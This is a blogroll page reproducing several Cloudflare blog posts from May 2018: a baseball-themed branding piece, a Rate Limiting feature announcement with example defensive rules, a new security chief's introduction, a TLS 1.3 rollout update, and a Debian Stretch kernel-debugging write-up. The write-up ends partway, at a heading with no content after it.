Blogroll: CloudFlare

I read blogs, as well as write one. The 'blogroll' on this site reproduces some posts from some of the people I enjoy reading. There are currently 36 posts from the blog 'CloudFlare.'

Disclaimer: Reproducing an article here need not necessarily imply agreement or endorsement!

Subscribe to CloudFlare feed CloudFlare
Cloudflare is on a mission to help build a better Internet.
Updated: 2 hours 55 min ago

Introducing: The Cloudflare All-Stars Fantasy League

Tue, 22/05/2018 - 20:09
 The Cloudflare All-Stars Fantasy League

 The Cloudflare All-Stars Fantasy League

Baseball season is well underway, and to celebrate, we're excited to introduce the Cloudflare All-Stars Fantasy League: a group of fictitious sports teams that revolve around some of Cloudflare’s most championed products and services. Their mission? To help build a better Internet.

Cloudflare HQ is located just a block away from the San Francisco Giants Stadium. Each time there's a home game, crowds of people walk past Cloudflare's large 2nd street windows and peer in to the office space. The looks in their eyes scream: "Cloudflare! Teach me about your products while giving me something visually stimulating to look at!"

They asked. We listened.

The design team saw a creative opportunity, seized it, and hit it out of the park. Inspired by the highly stylized sports badges and emblems of some real-life sports teams, we applied this visual style to our own team badges. We had a lot of fun coming up with the team names, as well as figuring out which visuals to use for each.

 The Cloudflare All-Stars Fantasy League

For the next few months, the Cloudflare All-Stars teams will be showcased within the large Cloudflare HQ windows facing 2nd street and en route to Giants Stadium. Feel free to swing by on your way to the next Giants game, snap a pic and share with your fans.

 The Cloudflare All-Stars Fantasy League

You can also show the teams support by Tweeting out their hashtag, along with the images provided for each. Go Team Internet!

 The Cloudflare All-Stars Fantasy LeagueThe Distributed Denial of Service (DDoS) Defenders are strong and undefeated. They have a flawless record of batting away malicious DDoS attacks that target millions of websites and APIs around the globe. (see DDoS Protection) #DDoSDefenders

 The Cloudflare All-Stars Fantasy LeagueTeam Athenas is the team for the people: they ensure that U.S. State, County, and Municipal election websites stay online for free, no matter what kind of gnarly pitches get thrown their way. (see Athenian Project) #AthenianProjectAthenas

 The Cloudflare All-Stars Fantasy LeagueThe Argo Argonauts know how to throw the fastest pitches for routing your traffic across the Internet. (see Argo Smart Routing). #ArgoArgonauts

 The Cloudflare All-Stars Fantasy LeagueThe Web Application Firewall (WAF) Masons are the firefighters of the Internet — there is no fire too big for this team to put out. (See Web Application Firewall) #WAFMasons

 The Cloudflare All-Stars Fantasy LeagueThe Workers Bees are the efficient go-getter team that can help you do the impossible on the Edge! These workers can help get anything done from detecting malicious bots to filtering logic at the Edge. (See Workers) #WorkersBees

 The Cloudflare All-Stars Fantasy LeagueThe Stream Rapids are up to bat and ready to knock fast and speedy video hits out of the park, and across the Internet! (see Stream) #StreamRapids

 The Cloudflare All-Stars Fantasy LeagueThe CDN Packets are a team of fast & strong International players — with over 150 teammates (data centers) around the world, they guarantee web content gets delivered safely and as fast as possible. (See Cloudflare CDN) #CDNPackets

 The Cloudflare All-Stars Fantasy LeagueThe DNS Resolvers are here to lead the way to anywhere you want to go on the Internet! They're the fastest in the game and they're out to keep you (and your data) safe and private through the journey. (See 1.1.1.1) #DNSResolvers

Brought to you by the Cloudflare Brand Design team

Categories: Technology

Rate Limiting: Delivering more rules, and greater control

Mon, 21/05/2018 - 21:41
 Delivering more rules, and greater control

With more and more platforms taking the necessary precautions against DDoS attacks like integrating DDoS mitigation services and increasing bandwidth at weak points, Layer 3 and 4 attacks are just not as effective anymore. For Cloudflare, we have fully automated Layer 3/4 based protections with our internal platform, Gatebot. In the last 6 months we have seen a large upward trend of Layer 7 based DDoS attacks. The key difference to these attacks is they are no longer focused on using huge payloads (volumetric attacks), but based on Requests per Second to exhaust server resources (CPU, Disk and Memory). On a regular basis we see attacks that are over 1 million requests per second. The graph below shows the number of Layer 7 attacks Cloudflare has monitored, which is trending up. On average seeing around 160 attacks a day, with some days spiking up to over 1000 attacks.

 Delivering more rules, and greater control

A year ago, Cloudflare released Rate Limiting and it is proving to be a hugely effective tool for customers to protect their web applications and APIs from all sorts of attacks, from “low and slow” DDoS attacks, through to bot-based attacks, such as credential stuffing and content scraping. We’re pleased about the success our customers are seeing with Rate Limiting and are excited to announce additional capabilities to give our customers further control.

So what’s changing?

There are times when you clearly know that traffic is malicious. In cases like this, our existing Block action is proving effective for our customers. But there are times when it is not the best option, and causes a negative user experience. Rather than risk a false negative, customers often want to challenge a client to ensure they are who they represent themselves to be, which is in most situations, human not a bot.

Firstly, to help customers more accurately identify the traffic, we are adding Cloudflare JavaScript Challenge, and Google reCaptcha (Challenge) mitigation actions to the UI and API. The existing Block and Simulate actions still exist. As a reminder, to test any rule, deploying in Simulate means that you will not be charged for any requests. This is a great way to test your new rules to make sure they have been configured correctly.

 Delivering more rules, and greater control
Secondly, we’re making Rate Limiting more dynamically scalable. A new feature has been added which allows Rate Limiting to count on Origin Response Headers for Business and Enterprise customers. The way this feature works is by matching attributes which are returned by the Origin to Cloudflare.

The new capabilities - in action!

One of the things that really drives our innovation is solving the real problems we hear from customers every day. With that, we wanted to provide some real world examples of these new capabilities in action.

Each of the use cases have Basic and Advanced implementation options. After some testing, we found that tiering rate limits is an extremely effective solution against repeat offenders.

Credential Stuffing Protection for Login Pages and APIs. The best way to build applications is to utilise the standardized Status Codes. For example, if I fail to authenticate against an endpoint or a website, I should receive a “401” or “403”. Generally speaking a user to a website will often get their password wrong three times before selecting the “I forgot my password” option. Most Credential Stuff bots will try thousands of times cycling through many usernames and password combinations to see what works.

Here are some example rate limits which you can configure to protect your application from credential stuffing.

Basic:
Cloudflare offers a “Protect My Login” feature out the box. Enter the URL for your login page and Cloudflare will create a rule such that clients that attempt to log in more than 5 times in 5 minutes will be blocked for 15 minutes.

 Delivering more rules, and greater control

With the new Challenge capabilities of Rate Limiting, you can customize the response parameters for log in to more closely match the behavior pattern for bots you see on your site through a custom built rule.

Logging in four times in one minute is hard - I type fast, but couldn’t even do this. If I’m seeing this pattern in my logs, it is likely a bot. I can now create a Rate Limiting rule based on the following criteria:

.table-with-last-column-right-aligned tr td:last-child { text-align: right; } RuleID URL Count Timeframe Matching Criteria Action 1 /login 4 1 minute Method: POST
Status Code: 401,403 Challenge

With this new rule, if someone tries to log in four times within a minute, they will be thrown a challenge. My regular human users will likely never hit it, but if they do - the challenge insures they can still access the site.

Advanced:
And sometimes bots are just super persistent in their attacks. We can tier rules together to tackle repeat offenders. For example, instead of creating just a single rule, we can create a series of rules which can be tiered to protect against persistent threats:

.table-with-last-column-right-aligned tr td:last-child { text-align: right; } RuleID URL Count Timeframe Matching Criteria Action 1 /login 4 1 minute Method: POST
Status Code: 401,403 JavaScript Challenge 2 /login 10 5 minutes Method: POST
Status Code: 401,403 Challenge 3 /login 20 1 hour Method: POST
Status Code: 401,403 Block for 1 day

With this type of tiering, any genuine users that are just having a hard time remembering their login details whilst also being extremely fast typers will not be fully blocked. Instead, they will first be given out automated JavaScript challenge followed by a traditional CAPTCHA if they hit the next limit. This is a much more user-friendly approach while still securing your login endpoints.

Time-based Firewall

Our IP Firewall is a powerful feature to block problematic IP addresses from accessing your app. Particularly this is related to repeated abuse, or based on IP Reputation or Threat Intelligence feeds that are integrated at the origin level.

While the the IP firewall is powerful, maintaining and managing a list of IP addresses which are currently being blocked can be cumbersome. It becomes more complicated if you want to allow blocked IP addresses to “age out” if bad behavior stops after a period of time. This often requires authoring and managing a script and multiple API calls to Cloudflare.

The new Rate Limiting Origin Headers feature makes this all so much easier. You can now configure your origin to respond with a Header to trigger a Rate-Limit. To make this happen, we need to generate a Header at the Origin, which is then added to the response to Cloudflare. As we are matching on a static header, we can set a severity level based on the content of the Header. For example, if it was a repeat offender, you could respond with High as the Header value, which could Block for a longer period.

Create a Rate Limiting rule based on the following criteria:

RuleID URL Count Timeframe Matching Criteria Action 1 * 1 1 second Method: _ALL_
Header: X-CF-Block = low Block for 5 minutes 2 * 1 1 second Method: _ALL_
Header: X-CF-Block = medium Block for 15 minutes 3 * 1 1 second Method: _ALL_
Header: X-CF-Block = high Block for 60 minutes

Once that Rate-Limit has been created, Cloudflare’s Rate-Limiting will then kick-in immediately when that Header is received.

Enumeration Attacks

Enumeration attacks are proving to be increasingly popular and pesky to mitigate. With enumeration attacks, attackers identify an expensive operation in your app and hammer at it to tie up resources and slow or crash your app. For example, an app that offers the ability to look up a user profile requires a database lookup to validate whether the user exists. In a enumeration attack, attackers will send a random set of characters to that endpoint in quick succession, causing the database to ground to a halt.

Rate Limiting to the rescue!

One of our customers was hit with a huge enumeration attack on their platform earlier this year, where the aggressors were trying to do exactly what we described above, in an attempt to overload their database platform. Their Rate Limiting configuration blocked over 100,000,000 bad requests during the 6 hour attack.

 Delivering more rules, and greater control

When a query is sent to the app, and the user is not found, the app serves a 404 (page not found) . A very basic approach is to set a rate limit for 404s. If a user crosses a threshold of 404’s in a period of time, set the app to challenge the user to prove themselves to be a real person.

RuleID URL Count Timeframe Matching Criteria Action 1 * 10 1 minute Method: GET
Status Code: 404 Challenge

To catch repeat offenders, you can tier the tier Rate Limits:

RuleID URL Count Timeframe Matching Criteria Action 1 /public/profile* 10 1 minute Method: GET
Status Code: 404 JavaScript Challenge 2 /public/profile* 25 1 minute Method: GET
Status Code: 200 Challenge 3 /public/profile* 50 10 minutes Method: GET
Status Code: 200, 404 Block for 4 hourss

With this type of tiered defense in place, it means that you can “caution” an offender with a JavaScript challenge or Challenge (Google Captcha), and then “block” them if they continue.

Content Scraping

Increasingly, content owners are wrestling with content scraping - malicious bots copying copyrighted images or assets and redistributing or reusing them. For example, we work with an eCommerce store that uses copyrighted images and their images are appearing elsewhere on the web without their consent. Rate Limiting can help!

In their app, each page displays 4 copyrighted images, 1 which is actual size, and 3 which are thumbnails. By looking at logs and user patterns, they determined that most users, at a stretch, would never view more than 10-15 products in a minute, which would equate to 40-60 loads from the images store.

They chose to tier their Rate Limiting rules to prevent end users from getting unnecessarily blocked when they were browsing heavily. To block malicious attempts at content scraping can be quite simple, however it does require some forward planning. Placing the rate limit on the right URL is key to insure you are placing the rule on exactly what you are trying to protect and not the broader content. Here’s an example set of rate limits this customer set to protect their images:

RuleID URL Count Timeframe Matching Criteria Action 1 /img/thumbs/* 10 1 minute Method: GET
Status Code: 404 Challenge 2 /img/thumbs/* 25 1 minute Method: GET
Status Code: 200 Challenge 3 /img/* 75 1 minute Method: GET
Status Code: 200 Block for 4 hours 4 /img/* 5 1 minute Method: GET
Status Code: 403, 404 Challenge

As we can see here, rules 1 and 2 are counting based on the number of requests to each endpoint. Rule 3 is counting based on all hits to the image store, and if it gets above 75 requests, the user will be blocked for 4 hours. Finally, to avoid any enumeration or bots guessing image names and numbers, we are counting on 404 and 403s and challenging if we see an unusual spikes.

One more thing ... more rules, totally rules!

We want to ensure you have the rules you need to secure your app. To do that, we are increasing the number of available rules for Pro and Business, for no additional charge.

  • Pro plans increase from 3 to 10 rules
  • Business plans increase from 3 to 15 rules

As always, Cloudflare only charges for good traffic - requests that are allowed through Rate Limiting, not blocked. For more information click here.

The Rate-Limiting feature can be enabled within the Firewall tab on the Dashboard, or by visiting: cloudflare.com/a/firewall

Categories: Technology

Why I'm Joining Cloudflare

Wed, 16/05/2018 - 19:43
Why I'm Joining Cloudflare

I love working as a Chief Security Officer because every day centers around building something that makes people safer. Back in 2002, as I considered leaving my role as a cybercrime federal prosecutor to work in tech on e-commerce trust and safety, a mentor told me, “You have two rewarding but very different paths: you can prosecute one bad actor at a time, or you can try to build solutions that take away many bad actors' ability to do harm at all.” And while each is rewarding in its own way, my best days are those where I get to see harm prevented—at Internet scale.

Why I'm Joining Cloudflare

In 2016, while traveling the United States to conduct hearings on the condition of Internet security as a member of President Obama's cyber commission, my co-commissioners noticed I had fallen into a pattern of asking the same question of every panelist: “Who is responsible for building a safer online environment where small businesses can set up shop without fear?” We heard many answers that all led to the same “not a through street” conclusion: Most law enforcement agencies extend their jurisdiction online, but there are no digital equivalents to the Department of Transportation or National Highway Traffic Safety Administration and limited government technical contribution to building a safer environment.

I grew frustrated because I believe we need to invest as much in the upkeep of the sidewalks of the Internet as we do on making every street corner safer. The Internet may be the only context where governments spend less on preventing harm than they do on punishing misbehavior. It is certainly the only context where developing businesses are left to their own devices to fend off nation states—and then potentially chastised by regulators if they fail to do it well.

I've had the good fortune to serve on some of the best Internet security teams in the world at eBay, Facebook, and Uber—and have still fallen short of reaching an ideal state of security. Governments and larger companies have the resources and talent to face the daunting challenges of operating online, but good security is hard. If it is a challenge for them, small businesses and most individuals simply don't stand a chance.

With these conclusions weighing on me, my next step professionally had to be towards a team that pushes security out, proactively, to as much of the Internet as possible. It has to be a place thats mission is to help build a better Internet—so that people can step online confidently and launch their own businesses without fear.

I did not think I would find a company that matches my passion for securing the whole Internet—security is often an ancillary feature worthy of investment because strong security will drive brand loyalty and customer trust or differentiate a company from competitors. I've been lucky in the past to join companies with Internet-breadth challenges willing to work proactively and collaboratively on security, yet know those opportunities are few and far between. But when I met the leadership team at Cloudflare, I was amazed to learn how what had started with a focus on mitigating denial of service attacks had grown quickly into so much more—because their strong technology not only makes internet properties safer, it makes them faster. Their product innovation mirrors my physical-world streets analogy—helping to build a better online infrastructure creates better and safer opportunities for everyone in the community.

The team at Cloudflare seem to really embrace their mission of helping build a better Internet. They have certainly approached things differently—launching free versions of security products even in their earliest days to anyone operating a website, mobilizing Project Galileo to help those at risk of losing their voice online, and recently launching 1.1.1.1 to help everyone with better privacy and connectivity. For such a young company, they have done a lot of good already. I am so thrilled to join and learn from them, and hopefully help them continue to expand their efforts to prevent harm—at Internet scale.

Joe Sullivan

P.S. I would be remiss if I did not mention the security team at Cloudflare is hiring! If you too want to work on some of the most technically challenging and rewarding security issues the world can offer, let me know!

Categories: Technology

You get TLS 1.3! You get TLS 1.3! Everyone gets TLS 1.3!

Wed, 16/05/2018 - 18:28
You get TLS 1.3! You get TLS 1.3! Everyone gets TLS 1.3!

It's no secret that Cloudflare has been a big proponent of TLS 1.3, the newest edition of the TLS protocol that improves both speed and security, since we have made it available to our customers starting in 2016. However, for the longest time TLS 1.3 has been a work-in-progress which meant that the feature was disabled by default in our customers’ dashboards, at least until all the kinks in the protocol could be resolved.

With the specification finally nearing its official publication, and after several years of work (as well as 28 draft versions), we are happy to announce that the TLS 1.3 feature on Cloudflare is out of beta and will be enabled by default for all new zones.

You get TLS 1.3! You get TLS 1.3! Everyone gets TLS 1.3!

For our Free and Pro customers not much changes, they already had TLS 1.3 enabled by default from the start. We have also decided to disable the 0-RTT feature by default for these plans (it was previously enabled by default as well), due to its inherent security properties. It will still be possible to explicitly enable it from the dashboard or the API (more on 0-RTT soon-ish in another blog post).

Our Business and Enterprise customers will now also get TLS 1.3 enabled by default for new zones (but will continue to have 0-RTT disabled). For existing Business customers that haven't made an explicit choice (that is, they haven't turned the feature on or off manually), we are also retroactively turning TLS 1.3 on.

What happened to the middleboxes?

Back in December we blogged about why TLS 1.3 still wasn't being widely adopted, the main reason being non-compliant middleboxes, network appliances designed to monitor and sometimes intercept HTTPS traffic.

Due to the fact that the TLS protocol hasn’t been updated for a long time (TLS 1.2 came out back in 2008, with fairly minimal changes compared to TLS 1.1), wrong assumptions about the protocol made by these appliances meant that some of the more invasive changes in TLS 1.3, which broke those assumptions, caused the middleboxes to misbehave, in the worst cases causing TLS connections passing through them to break.

Since then, new draft versions of the protocol have been discussed and published, providing additional measures (on top of the ones already adopted, like the “supported_versions” extension) to mitigate the impact caused by middleboxes. How?, you ask. The trick was to modify the TLS 1.3 protocol to look more like previous TLS versions, but without impacting the improved performance and security benefits the new version provides.

For example, the ChangeCipherSpec handshake message, which in previous versions of the protocol was used to notify the receiving party that subsequent records would be encrypted, was originally removed from TLS 1.3 since it had no purpose in the protocol anymore after the handshake algorithm was streamlined, but in order to avoid confusing middleboxes that expected to see the message on the wire, it was reintroduced even though the receiving endpoint will just ignore it.

Another point of contention was the fact that some middleboxes expect to see the Certificate messages sent by servers (usually to identify the end server, sometimes with nefarious purposes), but since TLS 1.3 moved that message to the encrypted portion of the handshake, it became invisible to the snooping boxes. The trick there was to make the TLS 1.3 handshake look like it was resuming a previous connection which means that, even in previous TLS versions, the Certificate message is omitted from plain text communication. This was achieved by populating the previously deprecated "session_id" field in the ClientHello message with a bogus value.

Adopting these changes meant that, while the protocol itself lost a bit of its original elegance (but without losing any of the security and performance), major browsers could finally enable TLS 1.3 by default for all of their users: Chrome enabled TLS 1.3 by default in version 65 while Firefox did so in version 60.

Adoption

We can now go back to our metrics and see what all of this means for general TLS 1.3 adoption.

Back in December, only 0.06% of TLS connections to Cloudflare websites used TLS 1.3. Now, 5-6% do so, with this number steadily rising:

You get TLS 1.3! You get TLS 1.3! Everyone gets TLS 1.3!

It’s worth noting that the current Firefox beta (v61) switched to using draft 28, from draft 23 (which Chrome also uses). The two draft versions are incompatible due to some minor wire changes that were adopted some time after draft 23 was published, but Cloudflare can speak both versions so there won’t be a dip in adoption once Firefox 61 becomes stable. Once the final TLS 1.3 version (that is draft 28) becomes an official RFC we will also support that alongside the previous draft versions, to avoid leaving behind slow to update clients.

Conclusion

The tremendous work required to specify, implement and deploy TLS 1.3 is finally starting to bear fruit, and adoption will without a doubt keep steadily increasing for some time: at the end of 2017 our CTO predicted that by the end of 2018 more than 50% of HTTPS connections will happen over TLS 1.3, and given the recent developments we are still confident that it is a reachable target.

Categories: Technology

Tracing System CPU on Debian Stretch

Sun, 13/05/2018 - 17:00
Tracing System CPU on Debian Stretch

This is a heavily truncated version of an internal blog post from August 2017. For more recent updates on Kafka, check out another blog post on compression, where we optimized throughput 4.5x for both disks and network.

Tracing System CPU on Debian Stretch
Photo by Alex Povolyashko / Unsplash

Upgrading our systems to Debian Stretch

For quite some time we've been rolling out Debian Stretch, to the point where we have reached ~10% adoption in our core datacenters. As part of upgarding the underlying OS, we also evaluate the higher level software stack, e.g. taking a look at our ClickHouse and Kafka clusters.

During our upgrade of Kafka, we sucessfully migrated two smaller clusters, logs and dns, but ran into issues when attempting to upgrade one of our larger clusters, http.

Thankfully, we were able to roll back the http cluster upgrade relatively easily, due to heavy versioning of both the OS and the higher level software stack. If there's one takeaway from this blog post, it's to take advantage of consistent versioning.

High level differences

We upgraded one Kafka http node, and it did not go as planned:

Tracing System CPU on Debian Stretch

Having 5x CPU usage was definitely an unexpected outcome. For control datapoints, we compared to a node where no upgrade happened, and an intermediary node that received a software stack upgrade, but not an OS upgrade. Neither of these two nodes experienced the same CPU saturation issues, even though their setups were practically identical.

For debugging CPU saturation issues, we call on perf to fish out details:

Tracing System CPU on Debian Stretch

The command used was: perf top -F 99.

RCU stalls

In addition to higher system CPU usage, we found secondary slowdowns, including read-copy update (RCU) stalls:

[ 4909.110009] logfwdr (26887) used greatest stack depth: 11544 bytes left [ 4909.392659] oom_reaper: reaped process 26861 (logfwdr), now anon-rss:8kB, file-rss:0kB, shmem-rss:0kB [ 4923.462841] INFO: rcu_sched self-detected stall on CPU [ 4923.462843] 13-...: (2 GPs behind) idle=ea7/140000000000001/0 softirq=1/2 fqs=4198 [ 4923.462845] (t=8403 jiffies g=110722 c=110721 q=6440)

We've seen RCU stalls before, and our (suboptimal) solution was to reboot the machine.

However, one can only handle so many reboots before the problem becomes severe enough to warrant a deep dive. During our deep dive, we noticed in dmesg that we had issues allocating memory, while trying to write errors:

Aug 15 21:51:35 myhost kernel: INFO: rcu_sched detected stalls on CPUs/tasks: Aug 15 21:51:35 myhost kernel: 26-...: (1881 ticks this GP) idle=76f/140000000000000/0 softirq=8/8 fqs=365 Aug 15 21:51:35 myhost kernel: (detected by 0, t=2102 jiffies, g=1837293, c=1837292, q=262) Aug 15 21:51:35 myhost kernel: Task dump for CPU 26: Aug 15 21:51:35 myhost kernel: java R running task 13488 1714 1513 0x00080188 Aug 15 21:51:35 myhost kernel: ffffc9000d1f7898 ffffffff814ee977 ffff88103f410400 000000000000000a Aug 15 21:51:35 myhost kernel: 0000000000000041 ffffffff82203142 ffffc9000d1f78c0 ffffffff814eea10 Aug 15 21:51:35 myhost kernel: 0000000000000041 ffffffff82203142 ffff88103f410400 ffffc9000d1f7920 Aug 15 21:51:35 myhost kernel: Call Trace: Aug 15 21:51:35 myhost kernel: [<ffffffff814ee977>] ? scrup+0x147/0x160 Aug 15 21:51:35 myhost kernel: [<ffffffff814eea10>] ? lf+0x80/0x90 Aug 15 21:51:35 myhost kernel: [<ffffffff814eecb5>] ? vt_console_print+0x295/0x3c0 Aug 15 21:51:35 myhost kernel: [<ffffffff810b1193>] ? call_console_drivers.isra.22.constprop.30+0xf3/0x100 Aug 15 21:51:35 myhost kernel: [<ffffffff810b1f51>] ? console_unlock+0x281/0x550 Aug 15 21:51:35 myhost kernel: [<ffffffff810b2498>] ? vprintk_emit+0x278/0x430 Aug 15 21:51:35 myhost kernel: [<ffffffff810b27ef>] ? vprintk_default+0x1f/0x30 Aug 15 21:51:35 myhost kernel: [<ffffffff811588df>] ? printk+0x48/0x50 Aug 15 21:51:35 myhost kernel: [<ffffffff810b30ee>] ? dump_stack_print_info+0x7e/0xc0 Aug 15 21:51:35 myhost kernel: [<ffffffff8142d41f>] ? dump_stack+0x44/0x65 Aug 15 21:51:35 myhost kernel: [<ffffffff81162e64>] ? warn_alloc+0x124/0x150 Aug 15 21:51:35 myhost kernel: [<ffffffff81163842>] ? __alloc_pages_slowpath+0x932/0xb80 Aug 15 21:51:35 myhost kernel: [<ffffffff81163c92>] ? __alloc_pages_nodemask+0x202/0x250 Aug 15 21:51:35 myhost kernel: [<ffffffff811ae9c2>] ? alloc_pages_current+0x92/0x120 Aug 15 21:51:35 myhost kernel: [<ffffffff81159d2f>] ? __page_cache_alloc+0xbf/0xd0 Aug 15 21:51:35 myhost kernel: [<ffffffff8115cdfa>] ? filemap_fault+0x2ea/0x4d0 Aug 15 21:51:35 myhost kernel: [<ffffffff8136dc95>] ? xfs_filemap_fault+0x45/0xa0 Aug 15 21:51:35 myhost kernel: [<ffffffff8118b3eb>] ? __do_fault+0x6b/0xd0 Aug 15 21:51:35 myhost kernel: [<ffffffff81190028>] ? handle_mm_fault+0xe98/0x12b0 Aug 15 21:51:35 myhost kernel: [<ffffffff8110756b>] ? __seccomp_filter+0x1db/0x290 Aug 15 21:51:35 myhost kernel: [<ffffffff8104fa5c>] ? __do_page_fault+0x22c/0x4c0 Aug 15 21:51:35 myhost kernel: [<ffffffff8104fd10>] ? do_page_fault+0x20/0x70 Aug 15 21:51:35 myhost kernel: [<ffffffff819bea02>] ? page_fault+0x22/0x30

This suggested that we were logging too many errors, and the actual failure may be earlier in the process. Armed with this hypothesis, we looked at the very beginning of the error chain:

Aug 16 01:14:51 myhost systemd-journald[13812]: Missed 17171 kernel messages Aug 16 01:14:51 myhost kernel: [<ffffffff81171754>] shrink_inactive_list+0x1f4/0x4f0 Aug 16 01:14:51 myhost kernel: [<ffffffff8117234b>] shrink_node_memcg+0x5bb/0x780 Aug 16 01:14:51 myhost kernel: [<ffffffff811725e2>] shrink_node+0xd2/0x2f0 Aug 16 01:14:51 myhost kernel: [<ffffffff811728ef>] do_try_to_free_pages+0xef/0x310 Aug 16 01:14:51 myhost kernel: [<ffffffff81172be5>] try_to_free_pages+0xd5/0x180 Aug 16 01:14:51 myhost kernel: [<ffffffff811632db>] __alloc_pages_slowpath+0x31b/0xb80

As much as shrink_node may scream "NUMA issues", you're looking primarily at:

Aug 16 01:14:51 myhost systemd-journald[13812]: Missed 17171 kernel messages

In addition, we also found memory allocation issues:

[78972.506644] Mem-Info: [78972.506653] active_anon:3936889 inactive_anon:371971 isolated_anon:0 [78972.506653] active_file:25778474 inactive_file:1214478 isolated_file:2208 [78972.506653] unevictable:0 dirty:1760643 writeback:0 unstable:0 [78972.506653] slab_reclaimable:1059804 slab_unreclaimable:141694 [78972.506653] mapped:47285 shmem:535917 pagetables:10298 bounce:0 [78972.506653] free:202928 free_pcp:3085 free_cma:0 [78972.506660] Node 0 active_anon:8333016kB inactive_anon:989808kB active_file:50622384kB inactive_file:2401416kB unevictable:0kB isolated(anon):0kB isolated(file):3072kB mapped:96624kB dirty:3422168kB writeback:0kB shmem:1261156kB shmem_thp: 0kB shmem_pmdmapped: 0kB anon_thp: 0kB writeback_tmp:0kB unstable:0kB pages_scanned:15744 all_unreclaimable? no [78972.506666] Node 1 active_anon:7414540kB inactive_anon:498076kB active_file:52491512kB inactive_file:2456496kB unevictable:0kB isolated(anon):0kB isolated(file):5760kB mapped:92516kB dirty:3620404kB writeback:0kB shmem:882512kB shmem_thp: 0kB shmem_pmdmapped: 0kB anon_thp: 0kB writeback_tmp:0kB unstable:0kB pages_scanned:9080974 all_unreclaimable? no [78972.506671] Node 0 DMA free:15900kB min:100kB low:124kB high:148kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB present:15996kB managed:15900kB mlocked:0kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB ** 9 printk messages dropped ** [78972.506716] Node 0 Normal: 15336*4kB (UMEH) 4584*8kB (MEH) 2119*16kB (UME) 775*32kB (MEH) 106*64kB (UM) 81*128kB (MH) 29*256kB (UM) 25*512kB (M) 19*1024kB (M) 7*2048kB (M) 2*4096kB (M) = 236080kB [78972.506725] Node 1 Normal: 31740*4kB (UMEH) 3879*8kB (UMEH) 873*16kB (UME) 353*32kB (UM) 286*64kB (UMH) 62*128kB (UMH) 28*256kB (MH) 20*512kB (UMH) 15*1024kB (UM) 7*2048kB (UM) 12*4096kB (M) = 305752kB [78972.506726] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB [78972.506727] Node 1 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB [78972.506728] 27531091 total pagecache pages [78972.506729] 0 pages in swap cache [78972.506730] Swap cache stats: add 0, delete 0, find 0/0 [78972.506730] Free swap = 0kB [78972.506731] Total swap = 0kB [78972.506731] 33524975 pages RAM [78972.506732] 0 pages HighMem/MovableOnly [78972.506732] 546255 pages reserved [78972.620129] ntpd: page allocation stalls for 272380ms, order:0, mode:0x24000c0(GFP_KERNEL) [78972.620132] CPU: 16 PID: 13099 Comm: ntpd Tainted: G O 4.9.43-cloudflare-2017.8.4 #1 [78972.620133] Hardware name: Quanta Computer Inc D51B-2U (dual 1G LoM)/S2B-MB (dual 1G LoM), BIOS S2B_3A21 10/01/2015 [78972.620136] ffffc90022f9b6f8 ffffffff8142d668 ffffffff81ca31b8 0000000000000001 [78972.620138] ffffc90022f9b778 ffffffff81162f14 024000c022f9b740 ffffffff81ca31b8 [78972.620140] ffffc90022f9b720 0000000000000010 ffffc90022f9b788 ffffc90022f9b738 [78972.620140] Call Trace: [78972.620148] [<ffffffff8142d668>] dump_stack+0x4d/0x65 [78972.620152] [<ffffffff81162f14>] warn_alloc+0x124/0x150 [78972.620154] [<ffffffff811638f2>] __alloc_pages_slowpath+0x932/0xb80 [78972.620157] [<ffffffff81163d42>] __alloc_pages_nodemask+0x202/0x250 [78972.620160] [<ffffffff811aeae2>] alloc_pages_current+0x92/0x120 [78972.620162] [<ffffffff8115f6ee>] __get_free_pages+0xe/0x40 [78972.620165] [<ffffffff811e747a>] __pollwait+0x9a/0xe0 [78972.620168] [<ffffffff817c9ec9>] datagram_poll+0x29/0x100 [78972.620170] [<ffffffff817b9d48>] sock_poll+0x48/0xa0 [78972.620172] [<ffffffff811e7c35>] do_select+0x335/0x7b0

This specific error message did seem fun:

[78991.546088] systemd-network: page allocation stalls for 287000ms, order:0, mode:0x24200ca(GFP_HIGHUSER_MOVABLE)

You don't want your page allocations to stall for 5 minutes, especially when it's order zero allocation (smallest allocation of one 4 KiB page).

Comparing to our control nodes, the only two possible explanations were: a kernel upgrade, and the switch from Debian Jessie to Debian Stretch. We suspected the former, since CPU usage implies a kernel issue. However, just to be safe, we rolled both the kernel back to 4.4.55, and downgraded the affected nodes back to Debian Jessie. This was a reasonable compromise, since we needed to minimize downtime on production nodes.

Digging a bit deeper

Keeping servers running on older kernel and distribution is not a viable long term solution. Through bisection, we found the issue lay in the Jessie to Stretch upgrade, contrary to our initial hypothesis.

Now that we knew what the problem was, we proceeded to investigate why. With the help from existing automation around perf and Java, we generated the following flamegraphs:

  • Jessie

Tracing System CPU on Debian Stretch

  • Stretch

Tracing System CPU on Debian Stretch

At first it looked like Jessie was doing writev instead of sendfile, but the full flamegraphs revealed that Strech was executing sendfile a lot slower.

If you highlight sendfile:

  • Jessie

Tracing System CPU on Debian Stretch

  • Stretch

Tracing System CPU on Debian Stretch

And zoomed in:

  • Jessie

Tracing System CPU on Debian Stretch

  • Stretch

Tracing System CPU on Debian Stretch

These two look very different.

Some colleagues suggested that the differences in the graphs may be due to TCP offload being disabled, but upon checking our NIC settings, we found that the feature flags were identical.

We'll dive into the differences in the next section.

And deeper

To trace latency distributions of sendfile syscalls between Jessie and Stretch, we used funclatency from bcc-tools:

  • Jessie
$ sudo /usr/share/bcc/tools/funclatency -uTi 1 do_sendfile Tracing 1 functions for "do_sendfile"... Hit Ctrl-C to end. 23:27:25 usecs : count distribution 0 -> 1 : 9 | | 2 -> 3 : 47 |**** | 4 -> 7 : 53 |***** | 8 -> 15 : 379 |****************************************| 16 -> 31 : 329 |********************************** | 32 -> 63 : 101 |********** | 64 -> 127 : 23 |** | 128 -> 255 : 50 |***** | 256 -> 511 : 7 | |
  • Stretch
